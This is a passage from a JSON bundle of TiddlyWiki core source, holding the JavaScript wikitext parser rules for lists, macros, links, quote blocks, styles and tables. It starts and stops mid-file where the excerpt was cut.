            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/import.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/import.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/import.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for importing variable definitions\n\n```\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"import\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\import[^\\S\\n]/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\tvar self = this;\n\t// Move past the pragma invocation\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse the filter terminated by a line break\n\tvar reMatch = /(.*)(\\r?\\n)|$/mg;\n\treMatch.lastIndex = this.parser.pos;\n\tvar match = reMatch.exec(this.parser.source);\n\tthis.parser.pos = reMatch.lastIndex;\n\t// Parse tree nodes to return\n\treturn [{\n\t\ttype: \"importvariables\",\n\t\tattributes: {\n\t\t\tfilter: {type: \"string\", value: match[1]}\n\t\t},\n\t\tchildren: []\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/list.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/list.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/list.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for lists. For example:\n\n```\n* This is an unordered list\n* It has two items\n\n# This is a numbered list\n## With a subitem\n# And a third item\n\n; This is a term that is being defined\n: This is the definition of that term\n```\n\nNote that lists can be nested arbitrarily:\n\n```\n#** One\n#* Two\n#** Three\n#**** Four\n#**# Five\n#**## Six\n## Seven\n### Eight\n## Nine\n```\n\nA CSS class can be applied to a list item as follows:\n\n```\n* List item one\n*.active List item two has the class `active`\n* List item three\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"list\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /([\\*#;:>]+)/mg;\n};\n\nvar listTypes = {\n\t\"*\": {listTag: \"ul\", itemTag: \"li\"},\n\t\"#\": {listTag: \"ol\", itemTag: \"li\"},\n\t\";\": {listTag: \"dl\", itemTag: \"dt\"},\n\t\":\": {listTag: \"dl\", itemTag: \"dd\"},\n\t\">\": {listTag: \"blockquote\", itemTag: \"p\"}\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Array of parse tree nodes for the previous row of the list\n\tvar listStack = [];\n\t// Cycle through the items in the list\n\twhile(true) {\n\t\t// Match the list marker\n\t\tvar reMatch = /([\\*#;:>]+)/mg;\n\t\treMatch.lastIndex = this.parser.pos;\n\t\tvar match = reMatch.exec(this.parser.source);\n\t\tif(!match || match.index !== this.parser.pos) {\n\t\t\tbreak;\n\t\t}\n\t\t// Check whether the list type of the top level matches\n\t\tvar listInfo = listTypes[match[0].charAt(0)];\n\t\tif(listStack.length > 0 && listStack[0].tag !== listInfo.listTag) {\n\t\t\tbreak;\n\t\t}\n\t\t// Move past the list marker\n\t\tthis.parser.pos = match.index + match[0].length;\n\t\t// Walk through the list markers for the current row\n\t\tfor(var t=0; t<match[0].length; t++) {\n\t\t\tlistInfo = listTypes[match[0].charAt(t)];\n\t\t\t// Remove any stacked up element if we can't re-use it because the list type doesn't match\n\t\t\tif(listStack.length > t && listStack[t].tag !== listInfo.listTag) {\n\t\t\t\tlistStack.splice(t,listStack.length - t);\n\t\t\t}\n\t\t\t// Construct the list element or reuse the previous one at this level\n\t\t\tif(listStack.length <= t) {\n\t\t\t\tvar listElement = {type: \"element\", tag: listInfo.listTag, children: [\n\t\t\t\t\t{type: \"element\", tag: listInfo.itemTag, children: []}\n\t\t\t\t]};\n\t\t\t\t// Link this list element into the last child item of the parent list item\n\t\t\t\tif(t) {\n\t\t\t\t\tvar prevListItem = listStack[t-1].children[listStack[t-1].children.length-1];\n\t\t\t\t\tprevListItem.children.push(listElement);\n\t\t\t\t}\n\t\t\t\t// Save this element in the stack\n\t\t\t\tlistStack[t] = listElement;\n\t\t\t} else if(t === (match[0].length - 1)) {\n\t\t\t\tlistStack[t].children.push({type: \"element\", tag: listInfo.itemTag, children: []});\n\t\t\t}\n\t\t}\n\t\tif(listStack.length > match[0].length) {\n\t\t\tlistStack.splice(match[0].length,listStack.length - match[0].length);\n\t\t}\n\t\t// Process the body of the list item into the last list item\n\t\tvar lastListChildren = listStack[listStack.length-1].children,\n\t\t\tlastListItem = lastListChildren[lastListChildren.length-1],\n\t\t\tclasses = this.parser.parseClasses();\n\t\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\t\tvar tree = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t\tlastListItem.children.push.apply(lastListItem.children,tree);\n\t\tif(classes.length > 0) {\n\t\t\t$tw.utils.addClassToParseTreeNode(lastListItem,classes.join(\" \"));\n\t\t}\n\t\t// Consume any whitespace following the list item\n\t\tthis.parser.skipWhitespace();\n\t}\n\t// Return the root element of the list\n\treturn [listStack[0]];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/macrocallblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/macrocallblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/macrocallblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki rule for block macro calls\n\n```\n<<name value value2>>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"macrocallblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /<<([^>\\s]+)(?:\\s*)((?:[^>]|(?:>(?!>)))*?)>>(?:\\r?\\n|$)/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar macroName = this.match[1],\n\t\tparamString = this.match[2];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar params = [],\n\t\treParam = /\\s*(?:([A-Za-z0-9\\-_]+)\\s*:)?(?:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\"'\\s]+)))/mg,\n\t\tparamMatch = reParam.exec(paramString);\n\twhile(paramMatch) {\n\t\t// Process this parameter\n\t\tvar paramInfo = {\n\t\t\tvalue: paramMatch[2] || paramMatch[3] || paramMatch[4] || paramMatch[5] || paramMatch[6]\n\t\t};\n\t\tif(paramMatch[1]) {\n\t\t\tparamInfo.name = paramMatch[1];\n\t\t}\n\t\tparams.push(paramInfo);\n\t\t// Find the next match\n\t\tparamMatch = reParam.exec(paramString);\n\t}\n\treturn [{\n\t\ttype: \"macrocall\",\n\t\tname: macroName,\n\t\tparams: params,\n\t\tisBlock: true\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/macrocallinline.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/macrocallinline.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/macrocallinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki rule for macro calls\n\n```\n<<name value value2>>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"macrocallinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /<<([^\\s>]+)\\s*([\\s\\S]*?)>>/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar macroName = this.match[1],\n\t\tparamString = this.match[2];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar params = [],\n\t\treParam = /\\s*(?:([A-Za-z0-9\\-_]+)\\s*:)?(?:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\"'\\s]+)))/mg,\n\t\tparamMatch = reParam.exec(paramString);\n\twhile(paramMatch) {\n\t\t// Process this parameter\n\t\tvar paramInfo = {\n\t\t\tvalue: paramMatch[2] || paramMatch[3] || paramMatch[4] || paramMatch[5]|| paramMatch[6]\n\t\t};\n\t\tif(paramMatch[1]) {\n\t\t\tparamInfo.name = paramMatch[1];\n\t\t}\n\t\tparams.push(paramInfo);\n\t\t// Find the next match\n\t\tparamMatch = reParam.exec(paramString);\n\t}\n\treturn [{\n\t\ttype: \"macrocall\",\n\t\tname: macroName,\n\t\tparams: params\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/macrodef.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/macrodef.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/macrodef.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for macro definitions\n\n```\n\\define name(param:defaultvalue,param2:defaultvalue)\ndefinition text, including $param$ markers\n\\end\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"macrodef\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\define\\s+([^(\\s]+)\\(\\s*([^)]*)\\)(\\s*\\r?\\n)?/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Move past the macro name and parameters\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse the parameters\n\tvar paramString = this.match[2],\n\t\tparams = [];\n\tif(paramString !== \"\") {\n\t\tvar reParam = /\\s*([A-Za-z0-9\\-_]+)(?:\\s*:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\"'\\s]+)))?/mg,\n\t\t\tparamMatch = reParam.exec(paramString);\n\t\twhile(paramMatch) {\n\t\t\t// Save the parameter details\n\t\t\tvar paramInfo = {name: paramMatch[1]},\n\t\t\t\tdefaultValue = paramMatch[2] || paramMatch[3] || paramMatch[4] || paramMatch[5] || paramMatch[6];\n\t\t\tif(defaultValue) {\n\t\t\t\tparamInfo[\"default\"] = defaultValue;\n\t\t\t}\n\t\t\tparams.push(paramInfo);\n\t\t\t// Look for the next parameter\n\t\t\tparamMatch = reParam.exec(paramString);\n\t\t}\n\t}\n\t// Is this a multiline definition?\n\tvar reEnd;\n\tif(this.match[3]) {\n\t\t// If so, the end of the body is marked with \\end\n\t\treEnd = /(\\r?\\n\\\\end[^\\S\\n\\r]*(?:$|\\r?\\n))/mg;\n\t} else {\n\t\t// Otherwise, the end of the definition is marked by the end of the line\n\t\treEnd = /($|\\r?\\n)/mg;\n\t\t// Move past any whitespace\n\t\tthis.parser.pos = $tw.utils.skipWhiteSpace(this.parser.source,this.parser.pos);\n\t}\n\t// Find the end of the definition\n\treEnd.lastIndex = this.parser.pos;\n\tvar text,\n\t\tendMatch = reEnd.exec(this.parser.source);\n\tif(endMatch) {\n\t\ttext = this.parser.source.substring(this.parser.pos,endMatch.index);\n\t\tthis.parser.pos = endMatch.index + endMatch[0].length;\n\t} else {\n\t\t// We didn't find the end of the definition, so we'll make it blank\n\t\ttext = \"\";\n\t}\n\t// Save the macro definition\n\treturn [{\n\t\ttype: \"set\",\n\t\tattributes: {\n\t\t\tname: {type: \"string\", value: this.match[1]},\n\t\t\tvalue: {type: \"string\", value: text}\n\t\t},\n\t\tchildren: [],\n\t\tparams: params,\n\t\tisMacroDefinition: true\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/prettyextlink.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/prettyextlink.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/prettyextlink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for external links. For example:\n\n```\n[ext[https://tiddlywiki.com/fractalveg.jpg]]\n[ext[Tooltip|https://tiddlywiki.com/fractalveg.jpg]]\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"prettyextlink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n};\n\nexports.findNextMatch = function(startPos) {\n\t// Find the next tag\n\tthis.nextLink = this.findNextLink(this.parser.source,startPos);\n\treturn this.nextLink ? this.nextLink.start : undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.nextLink.end;\n\treturn [this.nextLink];\n};\n\n/*\nFind the next link from the current position\n*/\nexports.findNextLink = function(source,pos) {\n\t// A regexp for finding candidate links\n\tvar reLookahead = /(\\[ext\\[)/g;\n\t// Find the next candidate\n\treLookahead.lastIndex = pos;\n\tvar match = reLookahead.exec(source);\n\twhile(match) {\n\t\t// Try to parse the candidate as a link\n\t\tvar link = this.parseLink(source,match.index);\n\t\t// Return success\n\t\tif(link) {\n\t\t\treturn link;\n\t\t}\n\t\t// Look for the next match\n\t\treLookahead.lastIndex = match.index + 1;\n\t\tmatch = reLookahead.exec(source);\n\t}\n\t// Failed\n\treturn null;\n};\n\n/*\nLook for an link at the specified position. Returns null if not found, otherwise returns {type: \"element\", tag: \"a\", attributes: [], isSelfClosing:, start:, end:,}\n*/\nexports.parseLink = function(source,pos) {\n\tvar token,\n\t\ttextNode = {\n\t\t\ttype: \"text\"\n\t\t},\n\t\tnode = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"a\",\n\t\t\tstart: pos,\n\t\t\tattributes: {\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-tiddlylink-external\"},\n\t\t\t},\n\t\t\tchildren: [textNode]\n\t\t};\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the `[ext[`\n\ttoken = $tw.utils.parseTokenString(source,pos,\"[ext[\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Look ahead for the terminating `]]`\n\tvar closePos = source.indexOf(\"]]\",pos);\n\tif(closePos === -1) {\n\t\treturn null;\n\t}\n\t// Look for a `|` separating the tooltip\n\tvar splitPos = source.indexOf(\"|\",pos);\n\tif(splitPos === -1 || splitPos > closePos) {\n\t\tsplitPos = null;\n\t}\n\t// Pull out the tooltip and URL\n\tvar tooltip, URL;\n\tif(splitPos) {\n\t\tURL = source.substring(splitPos + 1,closePos).trim();\n\t\ttextNode.text = source.substring(pos,splitPos).trim();\n\t} else {\n\t\tURL = source.substring(pos,closePos).trim();\n\t\ttextNode.text = URL;\n\t}\n\tnode.attributes.href = {type: \"string\", value: URL};\n\tnode.attributes.target = {type: \"string\", value: \"_blank\"};\n\tnode.attributes.rel = {type: \"string\", value: \"noopener noreferrer\"};\n\t// Update the end position\n\tnode.end = closePos + 2;\n\treturn node;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/prettylink.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/prettylink.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/prettylink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for pretty links. For example:\n\n```\n[[Introduction]]\n\n[[Link description|TiddlerTitle]]\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"prettylink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\[\\[(.*?)(?:\\|(.*?))?\\]\\]/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Process the link\n\tvar text = this.match[1],\n\t\tlink = this.match[2] || text;\n\tif($tw.utils.isLinkExternal(link)) {\n\t\treturn [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"a\",\n\t\t\tattributes: {\n\t\t\t\thref: {type: \"string\", value: link},\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-tiddlylink-external\"},\n\t\t\t\ttarget: {type: \"string\", value: \"_blank\"},\n\t\t\t\trel: {type: \"string\", value: \"noopener noreferrer\"}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\", text: text\n\t\t\t}]\n\t\t}];\n\t} else {\n\t\treturn [{\n\t\t\ttype: \"link\",\n\t\t\tattributes: {\n\t\t\t\tto: {type: \"string\", value: link}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\", text: text\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/quoteblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/quoteblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/quoteblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for quote blocks. For example:\n\n```\n\t<<<.optionalClass(es) optional cited from\n\ta quote\n\t<<<\n\t\n\t<<<.optionalClass(es)\n\ta quote\n\t<<< optional cited from\n```\n\nQuotes can be quoted by putting more <s\n\n```\n\t<<<\n\tQuote Level 1\n\t\n\t<<<<\n\tQuoteLevel 2\n\t<<<<\n\t\n\t<<<\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"quoteblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(<<<+)/mg;\n};\n\nexports.parse = function() {\n\tvar classes = [\"tc-quote\"];\n\t// Get all the details of the match\n\tvar reEndString = \"^\" + this.match[1] + \"(?!<)\";\n\t// Move past the <s\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t\n\t// Parse any classes, whitespace and then the optional cite itself\n\tclasses.push.apply(classes, this.parser.parseClasses());\n\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\tvar cite = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t// before handling the cite, parse the body of the quote\n\tvar tree= this.parser.parseBlocks(reEndString);\n\t// If we got a cite, put it before the text\n\tif(cite.length > 0) {\n\t\ttree.unshift({\n\t\t\ttype: \"element\",\n\t\t\ttag: \"cite\",\n\t\t\tchildren: cite\n\t\t});\n\t}\n\t// Parse any optional cite\n\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\tcite = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t// If we got a cite, push it\n\tif(cite.length > 0) {\n\t\ttree.push({\n\t\t\ttype: \"element\",\n\t\t\ttag: \"cite\",\n\t\t\tchildren: cite\n\t\t});\n\t}\n\t// Return the blockquote element\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"blockquote\",\n\t\tattributes: {\n\t\t\tclass: { type: \"string\", value: classes.join(\" \") },\n\t\t},\n\t\tchildren: tree\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/rules.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/rules.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/rules.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for rules specifications\n\n```\n\\rules except ruleone ruletwo rulethree\n\\rules only ruleone ruletwo rulethree\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"rules\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\rules[^\\S\\n]/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Move past the pragma invocation\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse whitespace delimited tokens terminated by a line break\n\tvar reMatch = /[^\\S\\n]*(\\S+)|(\\r?\\n)/mg,\n\t\ttokens = [];\n\treMatch.lastIndex = this.parser.pos;\n\tvar match = reMatch.exec(this.parser.source);\n\twhile(match && match.index === this.parser.pos) {\n\t\tthis.parser.pos = reMatch.lastIndex;\n\t\t// Exit if we've got the line break\n\t\tif(match[2]) {\n\t\t\tbreak;\n\t\t}\n\t\t// Process the token\n\t\tif(match[1]) {\n\t\t\ttokens.push(match[1]);\n\t\t}\n\t\t// Match the next token\n\t\tmatch = reMatch.exec(this.parser.source);\n\t}\n\t// Process the tokens\n\tif(tokens.length > 0) {\n\t\tthis.parser.amendRules(tokens[0],tokens.slice(1));\n\t}\n\t// No parse tree nodes to return\n\treturn [];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/styleblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/styleblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/styleblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for assigning styles and classes to paragraphs and other blocks. For example:\n\n```\n@@.myClass\n@@background-color:red;\nThis paragraph will have the CSS class `myClass`.\n\n* The `<ul>` around this list will also have the class `myClass`\n* List item 2\n\n@@\n```\n\nNote that classes and styles can be mixed subject to the rule that styles must precede classes. For example\n\n```\n@@.myFirstClass.mySecondClass\n@@width:100px;.myThirdClass\nThis is a paragraph\n@@\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"styleblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /@@((?:[^\\.\\r\\n\\s:]+:[^\\r\\n;]+;)+)?(?:\\.([^\\r\\n\\s]+))?\\r?\\n/mg;\n};\n\nexports.parse = function() {\n\tvar reEndString = \"^@@(?:\\\\r?\\\\n)?\";\n\tvar classes = [], styles = [];\n\tdo {\n\t\t// Get the class and style\n\t\tif(this.match[1]) {\n\t\t\tstyles.push(this.match[1]);\n\t\t}\n\t\tif(this.match[2]) {\n\t\t\tclasses.push(this.match[2].split(\".\").join(\" \"));\n\t\t}\n\t\t// Move past the match\n\t\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t\t// Look for another line of classes and styles\n\t\tthis.match = this.matchRegExp.exec(this.parser.source);\n\t} while(this.match && this.match.index === this.parser.pos);\n\t// Parse the body\n\tvar tree = this.parser.parseBlocks(reEndString);\n\tfor(var t=0; t<tree.length; t++) {\n\t\tif(classes.length > 0) {\n\t\t\t$tw.utils.addClassToParseTreeNode(tree[t],classes.join(\" \"));\n\t\t}\n\t\tif(styles.length > 0) {\n\t\t\t$tw.utils.addAttributeToParseTreeNode(tree[t],\"style\",styles.join(\"\"));\n\t\t}\n\t}\n\treturn tree;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/styleinline.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/styleinline.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/styleinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for assigning styles and classes to inline runs. For example:\n\n```\n@@.myClass This is some text with a class@@\n@@background-color:red;This is some text with a background colour@@\n@@width:100px;.myClass This is some text with a class and a width@@\n```\n\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"styleinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /@@((?:[^\\.\\r\\n\\s:]+:[^\\r\\n;]+;)+)?(\\.(?:[^\\r\\n\\s]+)\\s+)?/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /@@/g;\n\t// Get the styles and class\n\tvar stylesString = this.match[1],\n\t\tclassString = this.match[2] ? this.match[2].split(\".\").join(\" \") : undefined;\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse the run up to the terminator\n\tvar tree = this.parser.parseInlineRun(reEnd,{eatTerminator: true});\n\t// Return the classed span\n\tvar node = {\n\t\ttype: \"element\",\n\t\ttag: \"span\",\n\t\tattributes: {\n\t\t\t\"class\": {type: \"string\", value: \"tc-inline-style\"}\n\t\t},\n\t\tchildren: tree\n\t};\n\tif(classString) {\n\t\t$tw.utils.addClassToParseTreeNode(node,classString);\n\t}\n\tif(stylesString) {\n\t\t$tw.utils.addAttributeToParseTreeNode(node,\"style\",stylesString);\n\t}\n\treturn [node];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/syslink.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/syslink.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/syslink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for system tiddler links.\nCan be suppressed preceding them with `~`.\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"syslink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = new RegExp(\n\t\t\"~?\\\\$:\\\\/[\" +\n\t\t$tw.config.textPrimitives.anyLetter.substr(1,$tw.config.textPrimitives.anyLetter.length - 2) +\n\t\t\"\\/._-]+\",\n\t\t\"mg\"\n\t);\n};\n\nexports.parse = function() {\n\tvar match = this.match[0];\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Create the link unless it is suppressed\n\tif(match.substr(0,1) === \"~\") {\n\t\treturn [{type: \"text\", text: match.substr(1)}];\n\t} else {\n\t\treturn [{\n\t\t\ttype: \"link\",\n\t\t\tattributes: {\n\t\t\t\tto: {type: \"string\", value: match}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\",\n\t\t\t\ttext: match\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/table.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/table.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/table.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for tables.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"table\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\|(?:[^\\n]*)\\|(?:[fhck]?)\\r?(?:\\n|$)/mg;\n};\n\nvar processRow = function(prevColumns) {\n\tvar cellRegExp = /(?:\\|([^\\n\\|]*)\\|)|(\\|[fhck]?\\r?(?:\\n|$))/mg,\n\t\tcellTermRegExp = /((?:\\x20*)\\|)/mg,\n\t\ttree = [],\n\t\tcol = 0,\n\t\tcolSpanCount = 1,\n\t\tprevCell,\n\t\tvAlign;\n\t// Match a single cell\n\tcellRegExp.lastIndex = this.parser.pos;\n\tvar cellMatch = cellRegExp.exec(this.parser.source);\n\twhile(cellMatch && cellMatch.index === this.parser.pos) {\n\t\tif(cellMatch[1] === \"~\") {\n\t\t\t// Rowspan\n\t\t\tvar last = prevColumns[col];\n\t\t\tif(last) {\n\t\t\t\tlast.rowSpanCount++;\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(last.element,\"rowspan\",last.rowSpanCount);\n\t\t\t\tvAlign = $tw.utils.getAttributeValueFromParseTreeNode(last.element,\"valign\",\"center\");\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(last.element,\"valign\",vAlign);\n\t\t\t\tif(colSpanCount > 1) {\n\t\t\t\t\t$tw.utils.addAttributeToParseTreeNode(last.element,\"colspan\",colSpanCount);\n\t\t\t\t\tcolSpanCount = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Move to just before the `|` terminating the cell\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t} else if(cellMatch[1] === \">\") {\n\t\t\t// Colspan\n\t\t\tcolSpanCount++;\n\t\t\t// Move to just before the `|` terminating the cell\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t} else if(cellMatch[1] === \"<\" && prevCell) {\n\t\t\tcolSpanCount = 1 + $tw.utils.getAttributeValueFromParseTreeNode(prevCell,\"colspan\",1);\n\t\t\t$tw.utils.addAttributeToParseTreeNode(prevCell,\"colspan\",colSpanCount);\n\t\t\tcolSpanCount = 